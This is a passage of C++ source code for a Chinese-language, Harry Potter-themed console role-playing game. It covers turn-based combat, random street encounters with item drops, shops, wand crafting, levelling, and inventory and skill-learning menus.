if (rand() % 2) cout << "你一脚踹了过去,但没有踢中" << endl;
else {
cout << "你一脚踹了过去,但只擦着了腰" << endl;
if ((attack / 3) + ran > hisD) {
cout << Hname << "扣血" << (attack / 3) + ran - hisD << "滴 剩余" << hisH - ((attack / 3) + ran - hisD) << "滴" << endl;
hisH -= (attack / 3) + ran - hisD;
}
else cout << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
}
}
Sleep(700);
if (hhurt > 0) {
hhurt -= 1;
cout << "对方因中了你的钻心咒,正捂着心大叫呢 扣血200滴" << endl;
hisH -= 200;
}
if (hisH <= 0) {
if (hisS == 20 && rand() % 3 == 0) {
cout << "对方发动技能:恢复如初 满血复活" << endl;
hisH = ha;
Sleep(1000);
}
else {
cout << "对方**亡\n获得" << his / 30 << "元" << endl;
money += his / 30;
experience += (his / 30) * 10;
if (ane == 3) D_Of_C++;
if (ane1 == 3) D_Of_C1++;
return 0;
}
}
if (hfaint <= 0) {
if (rand() % 3 == 0) {
if (hisS == 14) {
cout << "对方发动技能:快快复苏 生命加200" << endl;
hisH += 200;
}
if (hisS == 15) {
cout << "对方发动技能:盔甲护身 生命加50 防御增加50" << endl;
hisH += 50;
hisD += 50;
}
if (hisS == 17)
{
cout << "对方发动技能神锋无影 攻击增加200 扣血200滴" << endl;
health -= 200;
hisA += 200;
}
Sleep(1000);
}
int ran = rand() % 40 - 20;
if (rand() % 10000 > speed) {
if (hisA + ran > defense) {
cout << Hname << "发起进攻 " << "你扣血" << hisA - defense + ran << "滴 剩余" << health - (hisA - defense + ran) << "滴" << endl;
health -= hisA - defense + ran;
}
else cout << Hname << "发起进攻 " << "你扣血0滴 剩余" << health << "滴" << endl;
}
else {
if (rand() % 2) cout << Hname << "一脚踹了过来,但没有踢中" << endl;
else {
cout << "对方一脚踹了过来,但只擦着了你的腰" << endl;
if ((hisA / 3) + ran > hisD) {
cout <<"你扣血" << (hisA / 3) + ran - defense << "滴 剩余" << health - ((hisA / 3) + ran - defense) << "滴" << endl;
health -= ((hisA / 3) + ran - defense);
}
else cout << "你扣血0滴 剩余" << health << "滴" << endl;
}
}
Sleep(700);
if (health <= 0) {
if (Sl[6] && rand() % 2) {
cout << "你发动技能:恢复如初 满血复活" << endl;
health = maxhealth;
Sleep(1000);
}
else {
cout << "你**亡" << endl;
health = 20;
dead = true;
return 0;
}
}
}
}
return 0;
}
int street()
{
switch (rand() % 6)
{
case 0:
if (camp) {
int f;
cout << "你遇到了一个路人" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("路人", 500, 110, 0, 14, 1000);
if (!dead && rand() % 2) {
if (rand() % 4 == 0) {
cout << "获得一瓶经验药水" << endl;
bag[22] += 1;
}
else if (rand() % 4 == 1) {
cout << "获得一瓶攻击药水" << endl;
bag[21] += 1;
}
else if (rand() % 4 == 2) {
cout << "获得一瓶生命药水" << endl;
bag[19] += 1;
}
else {
cout << "获得一瓶防御药水" << endl;
bag[20] += 1;
}
}
}
}
else {
int f;
cout << "你遇到了一个小混混" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("小混混", 500, 110, 0, 15, 1000);
if (!dead && rand() % 2) {
if (rand() % 4 == 0) {
cout << "获得一瓶经验药水" << endl;
bag[22] += 1;
}
else if (rand() % 4 == 1) {
cout << "获得一瓶攻击药水" << endl;
bag[21] += 1;
}
else if (rand() % 4 == 2) {
cout << "获得一瓶生命药水" << endl;
bag[19] += 1;
}
else {
cout << "获得一瓶防御药水" << endl;
bag[20] += 1;
}
}
}
}
break;
case 1:
if (camp) {
int f;
cout << "你遇到了一个警察" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("警察", 2000, 500, 15, 15, 1000);
if (!dead && rand() % 3 != 0) {
if (rand() % 5 == 0) {
cout << "获得两瓶经验药水" << endl;
bag[22] += 2;
}
else if (rand() % 5 == 1) {
cout << "获得两瓶攻击药水" << endl;
bag[21] += 2;
}
else if (rand() % 5 == 2) {
cout << "获得两瓶生命药水" << endl;
bag[19] += 2;
}
else if (rand() % 5 == 3) {
cout << "获得一瓶全幅药水" << endl;
bag[23] += 1;
}
else {
cout << "获得两瓶防御药水" << endl;
bag[20] += 2;
}
}
}
}
else {
int f;
cout << "你遇到了一个小食**徒" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("食**徒", 2000, 500, 15, 15, 1000);
if (!dead && rand() % 3 != 0) {
if (rand() % 5 == 0) {
cout << "获得两瓶经验药水" << endl;
bag[22] += 2;
}
else if (rand() % 5 == 1) {
cout << "获得两瓶攻击药水" << endl;
bag[21] += 2;
}
else if (rand() % 5 == 2) {
cout << "获得两瓶生命药水" << endl;
bag[19] += 2;
}
else if (rand() % 5 == 3) {
cout << "获得一瓶全幅药水" << endl;
bag[23] += 1;
}
else {
cout << "获得两瓶防御药水" << endl;
bag[20] += 2;
}
}
}
}
break;
case 2:
if (camp) {
int f;
cout << "你遇到了一个凤凰社成员" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("凤凰社成员", 5000, 700, 50, 16, 1500);
if (!dead && rand() % 4 != 0) {
if (rand() % 5 == 0) {
cout << "获得三瓶经验药水" << endl;
bag[22] += 3;
}
else if (rand() % 5 == 1) {
cout << "获得三瓶攻击药水" << endl;
bag[21] += 3;
}
else if (rand() % 5 == 2) {
cout << "获得三瓶生命药水" << endl;
bag[19] += 3;
}
else if (rand() % 5 == 3) {
cout << "获得两瓶全幅药水" << endl;
bag[23] += 2;
}
else {
cout << "获得三瓶防御药水" << endl;
bag[20] += 3;
}
}
}
}
else {
int f;
cout << "你遇到了一个真食**徒" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("食**徒", 5000, 700, 50, 15, 1500);
if (!dead && rand() % 4 != 0) {
if (rand() % 5 == 0) {
cout << "获得三瓶经验药水" << endl;
bag[22] += 3;
}
else if (rand() % 5 == 1) {
cout << "获得三瓶攻击药水" << endl;
bag[21] += 3;
}
else if (rand() % 5 == 2) {
cout << "获得三瓶生命药水" << endl;
bag[19] += 3;
}
else if (rand() % 5 == 3) {
cout << "获得两瓶全幅药水" << endl;
bag[23] += 2;
}
else {
cout << "获得三瓶防御药水" << endl;
bag[20] += 3;
}
}
}
}
break;
case 3:
if (camp) {
int f;
cout << "你遇到了一个傲罗·穆迪" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("穆迪", 10000, 1200, 250, 17, 2000);
if (!dead) {
if (rand() % 3) {
if (rand() % 2) {
cout << "获得技能书神锋无影" << endl;
bag[9]++;
}
else {
cout << "获得技能书快快复苏" << endl;
bag[6]++;
}
}
if (rand() % 4) {
if (rand() % 5 == 0) {
cout << "获得四瓶经验药水" << endl;
bag[22] += 4;
}
else if (rand() % 5 == 1) {
cout << "获得四瓶攻击药水" << endl;
bag[21] += 4;
}
else if (rand() % 5 == 2) {
cout << "获得四瓶生命药水" << endl;
bag[19] += 4;
}
else if (rand() % 5 == 3) {
cout << "获得三瓶全幅药水" << endl;
bag[23] += 3;
}
else {
cout << "获得四瓶防御药水" << endl;
bag[20] += 4;
}
}
}
}
}
else {
int f;
cout << "你遇到了卢修斯·马尔福" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("马尔福", 10000, 1200, 250, 17, 2000);
if (!dead) {
if (rand() % 3) {
if (rand() % 2) {
cout << "获得技能书神锋无影" << endl;
bag[9]++;
}
else {
cout << "获得技能书快快复苏" << endl;
bag[6]++;
}
}
if (rand() % 4) {
if (rand() % 5 == 0) {
cout << "获得四瓶经验药水" << endl;
bag[22] += 4;
}
else if (rand() % 5 == 1) {
cout << "获得四瓶攻击药水" << endl;
bag[21] += 4;
}
else if (rand() % 5 == 2) {
cout << "获得四瓶生命药水" << endl;
bag[19] += 4;
}
else if (rand() % 5 == 3) {
cout << "获得三瓶全幅药水" << endl;
bag[23] += 3;
}
else {
cout << "获得四瓶防御药水" << endl;
bag[20] += 4;
}
}
}
}
}
if (!dead)
if (ane1 == 2) D_Of_C1++;
break;
case 4:
if (camp) {
int f;
cout << "你遇到了卢平" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("卢平", 100000, 12000, 2500, 17, 4000);
if (!dead) {
if (rand() % 3) {
if (rand() % 2) {
cout << "获得技能书恢复如初" << endl;
bag[12]++;
}
else {
cout << "获得技能书阿瓦达索命" << endl;
bag[18]++;
}
}
if (rand() % 5) {
if (rand() % 5 == 0) {
cout << "获得四瓶经验药水" << endl;
bag[22] += 4;
}
else if (rand() % 5 == 1) {
cout << "获得四瓶攻击药水" << endl;
bag[21] += 4;
}
else if (rand() % 5 == 2) {
cout << "获得四瓶生命药水" << endl;
bag[19] += 4;
}
else if (rand() % 5 == 3) {
cout << "获得三瓶全幅药水" << endl;
bag[23] += 3;
}
else {
cout << "获得四瓶防御药水" << endl;
bag[20] += 4;
}
}
}
}
}
else {
int f;
cout << "你遇到了食**徒·卡卡洛夫" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("卡卡洛夫", 100000, 12000, 2500, 170, 4000);
if (!dead) {
if (rand() % 3) {
if (rand() % 2) {
cout << "获得技能书恢复如初" << endl;
bag[12]++;
}
else {
cout << "获得技能书阿瓦达索命" << endl;
bag[18]++;
}
}
if (rand() % 5) {
if (rand() % 5 == 0) {
cout << "获得四瓶经验药水" << endl;
bag[22] += 4;
}
else if (rand() % 5 == 1) {
cout << "获得四瓶攻击药水" << endl;
bag[21] += 4;
}
else if (rand() % 5 == 2) {
cout << "获得四瓶生命药水" << endl;
bag[19] += 4;
}
else if (rand() % 5 == 3) {
cout << "获得三瓶全幅药水" << endl;
bag[23] += 3;
}
else {
cout << "获得四瓶防御药水" << endl;
bag[20] += 4;
}
}
}
}
}
break;
case 5:
if (camp) {
int f;
cout << "你遇到了邓布利多" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("邓布利多", 300000, 36000, 7500, 20, 5000);
if (!dead) {
if (rand() % 3) {
if (rand() % 2) {
cout << "获得技能书恢复如初" << endl;
bag[12]++;
}
else {
cout << "获得技能书阿瓦达索命" << endl;
bag[18]++;
}
}
if (rand() % 5) {
if (rand() % 5 == 0) {
cout << "获得四瓶经验药水" << endl;
bag[22] += 4;
}
else if (rand() % 5 == 1) {
cout << "获得四瓶攻击药水" << endl;
bag[21] += 4;
}
else if (rand() % 5 == 2) {
cout << "获得四瓶生命药水" << endl;
bag[19] += 4;
}
else if (rand() % 5 == 3) {
cout << "获得三瓶全幅药水" << endl;
bag[23] += 3;
}
else {
cout << "获得四瓶防御药水" << endl;
bag[20] += 4;
}
}
}
}
}
else {
int f;
cout << "你遇到了纳尼吉" << endl;
cout << "1进攻/2逃跑" << endl;
cin >> f;
if (f == 1) {
fight("纳尼吉", 300000, 36000, 7500, 20, 5000);
if (!dead) {
if (rand() % 3) {
if (rand() % 2) {
cout << "获得技能书恢复如初" << endl;
bag[12]++;
}
else {
cout << "获得技能书阿瓦达索命" << endl;
bag[18]++;
}
}
if (rand() % 5) {
if (rand() % 5 == 0) {
cout << "获得四瓶经验药水" << endl;
bag[22] += 4;
}
else if (rand() % 5 == 1) {
cout << "获得四瓶攻击药水" << endl;
bag[21] += 4;
}
else if (rand() % 5 == 2) {
cout << "获得四瓶生命药水" << endl;
bag[19] += 4;
}
else if (rand() % 5 == 3) {
cout << "获得三瓶全幅药水" << endl;
bag[23] += 3;
}
else {
cout << "获得四瓶防御药水" << endl;
bag[20] += 4;
}
}
}
}
}
if (!dead)
if (ane1 == 0) D_Of_C1++;
break;
}
Sleep(1000);
return 0;
}
int buy(int p, int m)
{
if (money < m) {
cout << "没钱,打出去!" << endl;
if (camp) {
cout << "1** 2逃离" << endl;
int a;
cin >> a;
if (a == 1) {
fight("员工", 1000, 100, 10, 0, 1000);
if (dead) return 0;
cout << "另外一个员工冲了过来" << endl;
fight("员工", 1000, 100, 10, 14, 1000);
if (dead) return 0;
cout << "另外一个员工冲了过来" << endl;
fight("员工", 1000, 100, 10, 14, 2000);
if (dead) return 0;
cout << "员工头冲了过来" << endl;
fight("员工头", 5000, 5000, 10, 14, 2000);
if (dead) return 0;
cout << "店主冲了过来" << endl;
fight("店主", 10000, 1000, 100, 15, 4000);
if (dead) return 0;
cout << "获得100元" << endl;
money += 100;
if (rand() % 10 < 3) {
Sleep(3000);
cout << "你翻了半天,终于找到了你要卖的东西" << endl;
bag[p]++;
}
else {
Sleep(3000);
cout << "你翻了半天,还是没找到你要卖的东西" << endl;
cout << "你要不要到大街上消消气(**)" << endl;
cout << "1要! 2不必了" << endl;
int q;
cin >> q;
if (q == 1) street();
}
}
}
}
else {
cout << "购买成功" << endl;
bag[p]++;
money -= m;
if (ane == 1) D_Of_C++;
if (ane1 == 1) D_Of_C1 += m;
}
Sleep(1000);
return 0;
}
int buywand(int p, int m)
{
if (money < m) cout << "没钱,打出去!" << endl;
else {
cout << "购买成功" << endl;
wand[p - 6]++;
money -= m;
if (ane == 1) D_Of_C++;
if (ane1 == 1) D_Of_C1 += m;
}
Sleep(1000);
return 0;
}
int make(int w1, int w2, int c1, int c2)
{
if (w1 < 24 || w2 < 33) {
cout << "根本就没有这种材料,你眼瞎啊!" << endl;
Sleep(1000);
return 0;
}
if (c1 == 0||c2 == 0) {
cout << "你想拿0个材料来造魔杖!没门!" << endl;
Sleep(1000);
return 0;
}
if (bag[w1] < c1) {
if (bag[w2] < c2) cout << "你木材和杖芯都不够";
else cout << "杖芯不够";
}
else if (bag[w2] < c2) cout << "木材不够";
else {
cout << "制作成功" << endl;
string wn;
wn = Material1name[w1 - 24] + Material2name[w2 - 33] + "魔杖";
bag[w1] -= c1;
bag[w2] -= c2;
wand[wandi++]++;
wandpower[wandpoweri++] = c1 * 20 * (w1 - 4) + c1 * 10 * (w2 - 13);
wandname[wandnamei++] = wn;
}
Sleep(1000);
return 0;
}
int levelup()
{
if (experience >= level * 100) {
experience -= level * 100;
level++;
maxhealth += 100; health += 100; attack += 10; defense += 5; speed += 10;
if (rand() % 2 && level > 4) bag[0] += 1;
cout << "你升了1级" << endl;
levelup();
if (ane1 == 4) D_Of_C1++;
}
return 0;
}
int Hos()
{
int a;
if (health < maxhealth) {
cout << "剩余生命:(" << health << "/" << maxhealth << ")" << endl;
cout << "需要" << ((maxhealth) - health) / 16 << "元 是否恢复. 等级小于等于10免费恢复" << endl;
cout << "1,是 2,否" << endl;
cin >> a;
if (a == 1) {
if (level > 10) {
if (money >= ((maxhealth) - health) / 16) {
money -= ((maxhealth) - health) / 16;
cout << "恢复成功\n剩余:" << money << "元";
if (ane == 2) D_Of_C++;
if (ane1 == 1) D_Of_C1 += ((maxhealth) - health) / 16;
health = maxhealth;
}
else cout << "钱不足" << endl;
}
else {
health = maxhealth;
cout << "恢复成功" << endl;
if (ane == 2) D_Of_C++;
}
}
else if (a == 2) return 0;
else {
cout << "请别乱输";
Hos();
}
}
else {
cout << "生命已满";
Sleep(1000);
}
return 0;
}
int w()
{
int aaaa = 1;
while (aaaa) {
for (int i = 0; i < wandi; i++) {
if (wandname[i] == Nwand) cout << "o";
else cout << " ";
cout << i + 1 << "," << wandname[i] << " " << wand[i] << "个" << " 力量:" << wandpower[i] << endl;
}
cout << "1,装备魔杖 2,卸下现有魔杖 0,退出" << endl;
cin >> aaaa;
if (aaaa == 1) {
cout << "请输入魔杖编号" << endl;
int bbbb;
cin >> bbbb;
if (wand[bbbb - 1]) {
if (Nwand != "空手") {
cout << "已装备魔杖";
Sleep(1000);
}
else {
cout << "装备成功";
Nwand = wandname[bbbb - 1];
attack += wandpower[bbbb - 1];
}
}
else {
cout << "您还未拥有此魔杖";
}
Sleep(1000);
}
else if (aaaa == 2) {
for (int ia = 0; ia < wandi - 1; ia++) {
if (Nwand == wandname[ia]) {
cout << "成功卸下";
attack -= wandpower[ia];
break;
}
}
Nwand = "空手";
Sleep(1000);
}
else if (aaaa == 0) break;
else cout << "请别乱输";
levelup();
system("cls");
cout << "魔法人士:" << name << endl;
cout << "势力:";
if (camp) cout << "伏地魔" << endl;
else cout << "哈利波特" << endl;
cout << "生命:" << health << "/" << maxhealth << endl;
cout << "攻击:" << attack << endl;
cout << "防御:" << defense << endl;
cout << "速度:" << speed << endl;
cout << "等级:" << level << endl;
cout << "经验:" << experience << "/" << level * 100 << endl;
cout << "金币:" << money << endl;
cout << "1,魔法部(攻击即可占领) 2,大街(**/阻止食**徒) 3,";
if (camp) cout << "霍格沃茨(哈利波特不在) ";
else cout << "伏地魔总部(伏地魔不在) ";
cout << "4,霍格沃茨(最后**) 5,奥利凡德魔杖商店 6,抽奖 7,经验石店 8,背包 9,工厂 10,材料店 11,任务 12,终极任务 13,副本 14,保存 ";
if (camp) cout << "15, 医疗兵(伏地魔的)";
else cout << "15, 庞弗雷女士 ";
cout << "16,改变参数(测试专用 需要密码) 17,设置 18,登出" << endl;
cout << "8" << endl;
cout << "1,查看魔杖 2,查看药水 3,查看经验石 4,学习技能" << endl;
cout << "1" << endl;
}
return 0;
}
int e()
{
int bbbb = 1;
while (bbbb) {
cout << "1,经验石R " << bag[1] << "个" << endl;
cout << "2,经验石SR " << bag[2] << "个" << endl;
cout << "3,经验石SSR " << bag[3] << "个" << endl;
cout << "4,经验石SSS " << bag[4] << "个" << endl;
cout << "5,经验石X " << bag[5] << "个" << endl;
cout << "0,退出 6,一键使用";
int aaaa;
cin >> bbbb;
switch (bbbb)
{
case 1:
cout << "几个?";
cin >> aaaa;
if (bag[1] >= aaaa) {
cout << "服用成功";
experience += aaaa * 100;
bag[1] -= aaaa;
Sleep(1000);
break;
}
break;
case 2:
cout << "几个?";
cin >> aaaa;
if (bag[2] >= aaaa) {
cout << "服用成功";
experience += aaaa * 250;
bag[2] -= aaaa;
Sleep(1000);
break;
}
break;
case 3:
cout << "几个?";
cin >> aaaa;
if (bag[3] >= aaaa) {
cout << "服用成功";
experience += aaaa * 500;
bag[3] -= aaaa;
Sleep(1000);
break;
}
break;
case 4:
cout << "几个?";
cin >> aaaa;
if (bag[4] >= aaaa) {
cout << "服用成功";
experience += aaaa * 1200;
bag[4] -= aaaa;
Sleep(1000);
break;
}
break;
case 5:
cout << "几个?";
cin >> aaaa;
if (bag[5] >= aaaa) {
cout << "服用成功";
experience += aaaa * 2500;
bag[5] -= aaaa;
Sleep(1000);
break;
}
break;
case 0:
break;
case 6:
cout << "服用成功";
experience += bag[1] * 100;
experience += bag[2] * 250;
experience += bag[3] * 500;
experience += bag[4] * 1200;
experience += bag[5] * 2500;
bag[1] = bag[2] = bag[3] = bag[4] = bag[5] = 0;
break;
default:
cout << "请别乱输";
Sleep(1000);
break;
}
levelup();
system("cls");
cout << "魔法人士:" << name << endl;
cout << "势力:";
if (camp) cout << "伏地魔" << endl;
else cout << "哈利波特" << endl;
cout << "生命:" << health << "/" << maxhealth << endl;
cout << "攻击:" << attack << endl;
cout << "防御:" << defense << endl;
cout << "速度:" << speed << endl;
cout << "等级:" << level << endl;
cout << "经验:" << experience << "/" << level * 100 << endl;
cout << "金币:" << money << endl;
cout << "1,魔法部(攻击即可占领) 2,大街(**/阻止食**徒) 3,";
if (camp) cout << "霍格沃茨(哈利波特不在) ";
else cout << "伏地魔总部(伏地魔不在) ";
cout << "4,霍格沃茨(最后**) 5,奥利凡德魔杖商店 6,抽奖 7,经验石店 8,背包 9,工厂 10,材料店 11,任务 12,终极任务 13,副本 14,保存 ";
if (camp) cout << "15, 医疗兵(伏地魔的)";
else cout << "15, 庞弗雷女士 ";
cout << "16,改变参数(测试专用 需要密码) 17,设置 18,登出" << endl;
cout << "8" << endl;
cout << "1,查看魔杖 2,查看药水 3,查看经验石 4,学习技能" << endl;
cout << "3" << endl;
}
return 0;
}
int p()
{
int bbbb = 1;
while (bbbb) {
cout << "1,生命药水 " << bag[19] << "个" << endl;
cout << "2,防御药水 " << bag[20] << "个" << endl;
cout << "3,攻击药水 " << bag[21] << "个" << endl;
cout << "4,经验药水 " << bag[22] << "个" << endl;
cout << "5,速度药水 " << bag[23] << "个" << endl;
cout << "6,全幅药水 " << bag[23] << "个" << endl;
cout << "0,退出 7,一键使用";
cin >> bbbb;
int aaaa;
switch (bbbb)
{
case 1:
cout << "几个?";
cin >> aaaa;
if (bag[19] >= aaaa) {
cout << "服用成功";
health += aaaa * 50;
maxhealth += aaaa * 50;
bag[19] -= aaaa;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 2:
cout << "几个?";
cin >> aaaa;
if (bag[20] >= aaaa) {
cout << "服用成功";
defense += aaaa * 10;
bag[20] -= aaaa;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 3:
cout << "几个?";
cin >> aaaa;
if (bag[21] >= aaaa) {
cout << "服用成功";
attack += aaaa * 25;
bag[21] -= aaaa;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 4:
cout << "几个?";
cin >> aaaa;
if (bag[22] >= aaaa) {
cout << "服用成功";
experience += aaaa * 200;
bag[22] -= aaaa;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 5:
cout << "几个?";
cin >> aaaa;
if (bag[43] >= aaaa) {
cout << "服用成功";
speed += aaaa;
bag[43] -= aaaa;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 6:
cout << "几个?";
cin >> aaaa;
if (bag[23] >= aaaa) {
cout << "服用成功";
health += aaaa * 50;
maxhealth += aaaa * 50;
defense += aaaa * 10;
attack += aaaa * 25;
experience += aaaa * 200;
speed += aaaa;
bag[23] -= aaaa;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 7:
cout << "服用成功";
health += bag[19] * 50;
maxhealth += bag[19] * 50;
defense += bag[20] * 10;
attack += bag[21] * 25;
experience += bag[22] * 200;
speed += bag[43];
health += bag[23] * 50;
maxhealth += bag[23] * 50;
defense += bag[23] * 10;
attack += bag[23] * 25;
experience += bag[23] * 200;
speed += bag[23];
bag[19] = 0;
bag[20] = 0;
bag[21] = 0;
bag[22] = 0;
bag[23] = 0;
bag[43] = 0;
break;
case 0:
break;
default:
cout << "请别乱输";
Sleep(1000);
break;
}
levelup();
system("cls");
cout << "魔法人士:" << name << endl;
cout << "势力:";
if (camp) cout << "伏地魔" << endl;
else cout << "哈利波特" << endl;
cout << "生命:" << health << "/" << maxhealth << endl;
cout << "攻击:" << attack << endl;
cout << "防御:" << defense << endl;
cout << "速度:" << speed << endl;
cout << "等级:" << level << endl;
cout << "经验:" << experience << "/" << level * 100 << endl;
cout << "金币:" << money << endl;
cout << "1,魔法部(攻击即可占领) 2,大街(**/阻止食**徒) 3,";
if (camp) cout << "霍格沃茨(哈利波特不在) ";
else cout << "伏地魔总部(伏地魔不在) ";
cout << "4,霍格沃茨(最后**) 5,奥利凡德魔杖商店 6,抽奖 7,经验石店 8,背包 9,工厂 10,材料店 11,任务 12,终极任务 13,副本 14,保存 ";
if (camp) cout << "15, 医疗兵(伏地魔的)";
else cout << "15, 庞弗雷女士 ";
cout << "16,改变参数(测试专用 需要密码) 17,设置 18,登出" << endl;
cout << "8" << endl;
cout << "1,查看魔杖 2,查看药水 3,查看经验石 4,学习技能" << endl;
cout << "2" << endl;
}
return 0;
}
int s()
{
int bbbb = 1;
while (bbbb) {
cout << "1,快快复苏 " << bag[6] << "个" << endl;
cout << "2,盔甲护身 " << bag[7] << "个" << endl;
cout << "3,昏昏倒地 " << bag[8] << "个" << endl;
cout << "4,神锋无影 " << bag[9] << "个" << endl;
cout << "5,咒立停 " << bag[10] << "个" << endl;
cout << "6,统统石化 " << bag[11] << "个" << endl;
cout << "7,恢复如初 " << bag[12] << "个" << endl;
cout << "8,召唤咒 " << bag[13] << "个" << endl;
cout << "9,一忘皆空 " << bag[14] << "个" << endl;
cout << "10,万箭齐发 " << bag[15] << "个" << endl;
cout << "11,钻心剜骨 " << bag[16] << "个" << endl;
cout << "12,魂魄出窍 " << bag[17] << "个" << endl;
cout << "13,阿瓦达索命 " << bag[18] << "个" << endl;
cout << "0,退出";
cin >> bbbb;
switch (bbbb)
{
case 1:
if (bag[6] >= 1) {
cout << "学习成功" << endl;
cout << "能够恢复200滴血" << endl;
bag[6] -= 1;
Sl[0] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 2:
if (bag[7] >= 1) {
cout << "学习成功" << endl;
cout << "能恢复100滴血并加50防御" << endl;
bag[7] -= 1;
Sl[1] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 3:
if (bag[8] >= 1) {
cout << "学习成功" << endl;
cout << "能使对方暂停一回合" << endl;
bag[8] -= 1;
Sl[2] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 4:
if (bag[9] >= 1) {
cout << "学习成功" << endl;
cout << "攻击加250并扣对方500滴血" << endl;
bag[9] -= 1;
Sl[3] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 5:
if (bag[10] >= 1) {
cout << "学习成功" << endl;
cout << "能使对方对你施加的状态没用" << endl;
bag[10] -= 1;
Sl[4] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 6:
if (bag[11] >= 1) {
cout << "学习成功" << endl;
cout << "%10概率能事对方冻结10回合" << endl;
cout << "%90概率能事对方冻结2回合" << endl;
bag[11] -= 1;
Sl[5] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 7:
if (bag[12] >= 1) {
cout << "学习成功" << endl;
cout << "%50概率能起**回生" << endl;
bag[12] -= 1;
Sl[6] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 8:
if (bag[13] >= 1) {
cout << "学习成功" << endl;
cout << "能召唤生物进攻" << endl;
bag[13] -= 1;
Sl[7] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 9:
if (bag[14] >= 1) {
cout << "学习成功" << endl;
cout << "%90能使对方无技能" << endl;
cout << "%10能使对方防御变为0" << endl;
bag[14] -= 1;
Sl[8] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 10:
if (bag[15] >= 1) {
cout << "学习成功" << endl;
cout << "对方一直减10滴血直到对方躲过(%10躲过)" << endl;
bag[15] -= 1;
Sl[9] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 11:
if (bag[16] >= 1) {
cout << "学习成功" << endl;
cout << "对方扣血5回合,每回合扣200滴" << endl;
bag[16] -= 1;
Sl[10] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 12:
if (bag[17] >= 1) {
cout << "学习成功" << endl;
cout << "让对方自己攻击自己(当然不攻击你)" << endl;
bag[17] -= 1;
Sl[11] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 13:
if (bag[18] >= 1) {
cout << "学习成功" << endl;
cout << "让对方直接扣3/4的血" << endl;
bag[18] -= 1;
Sl[12] = 1;
Sleep(1000);
break;
}
else cout << "物品不足" << endl;
break;
case 0:
break;
default:
cout << "请别乱输";
Sleep(1000);
break;
}
system("cls");
cout << "魔法人士:" << name << endl;
cout << "势力:";
if (camp) cout << "伏地魔" << endl;
else cout << "哈利波特" << endl;
cout << "生命:" << health << "/" << maxhealth << endl;
cout << "攻击:" << attack << endl;
cout << "防御:" << defense << endl;
cout << "速度:" << speed << endl;
cout << "等级:" << level << endl;
cout << "经验:" << experience << "/" << level * 100 << endl;
cout << "金币:" << money << endl;
cout << "1,魔法部(攻击即可占领) 2,大街(**/阻止食**徒) 3,";
if (camp) cout << "霍格沃茨(哈利波特不在) ";
else cout << "伏地魔总部(伏地魔不在) ";
cout << "4,霍格沃茨(最后**) 5,奥利凡德魔杖商店 6,抽奖 7,经验石店 8,背包 9,工厂 10,材料店 11,任务 12,终极任务 13,副本 14,保存 ";
if (camp) cout << "15, 医疗兵(伏地魔的)";
else cout << "15, 庞弗雷女士 ";
cout << "16,改变参数(测试专用 需要密码) 17,设置 18,登出" << endl;
cout << "8" << endl;
cout << "1,查看魔杖 2,查看药水 3,查看经验石 4,学习技能" << endl;
cout << "4" << endl;
}
return 0;
}
int LD()
{
cout << "剩余抽奖券:" << bag[0] << "张" << endl;
cout << "1,抽奖 2,退出" << endl;
int a;
cin >> a;
if (a == 1) {
cout << "抽几次?";
int num;
cin >> num;
if (bag[0] >= num) {
bag[0] -= num;
int num1 = 0, num2 = 0, num3 = 0, num4 = 0, num5 = 0;
int num6 = 0, num7 = 0, num8 = 0, num9 = 0, num10 = 0;
int num11 = 0;
for (int i = 0; i < num; i++)
{
switch (rand() % 20)
{
case 0:
case 1:
num1++;
bag[1]++;
break;
case 2:
case 3:
num2++;
bag[2]++;
break;
case 4:
case 5:
num3++;
bag[3]++;
break;
case 6:
case 7:
num4++;
bag[4]++;
break;
case 8:
num5++;
bag[5]++;
break;
case 9:
case 10:
num6++;
bag[19]++;
break;
case 11:
case 12:
num7++;
bag[20]++;
break;
case 13:
case 14:
num8++;
bag[21]++;
break;
case 15:
case 16:
num9++;
bag[22]++;
break;
case 17:
num10++;
bag[23]++;
break;
case 18:
num11 += 50;
money += 50;
break;
case 19:
num11 += 100;
money += 100;
break;
}
}
cout << "你获得了经验石R " << num1 << "个" << endl;
cout << "经验石SR " << num2 << "个" << endl;
cout << "经验石SSR " << num3 << "个" << endl;
cout << "经验石SSS " << num4 << "个" << endl;
cout << "经验石X " << num5 << "个" << endl;
cout << "生命药水 " << num6 << "个" << endl;
cout << "防御药水 " << num7 << "个" << endl;
cout << "攻击药水 " << num8 << "个" << endl;
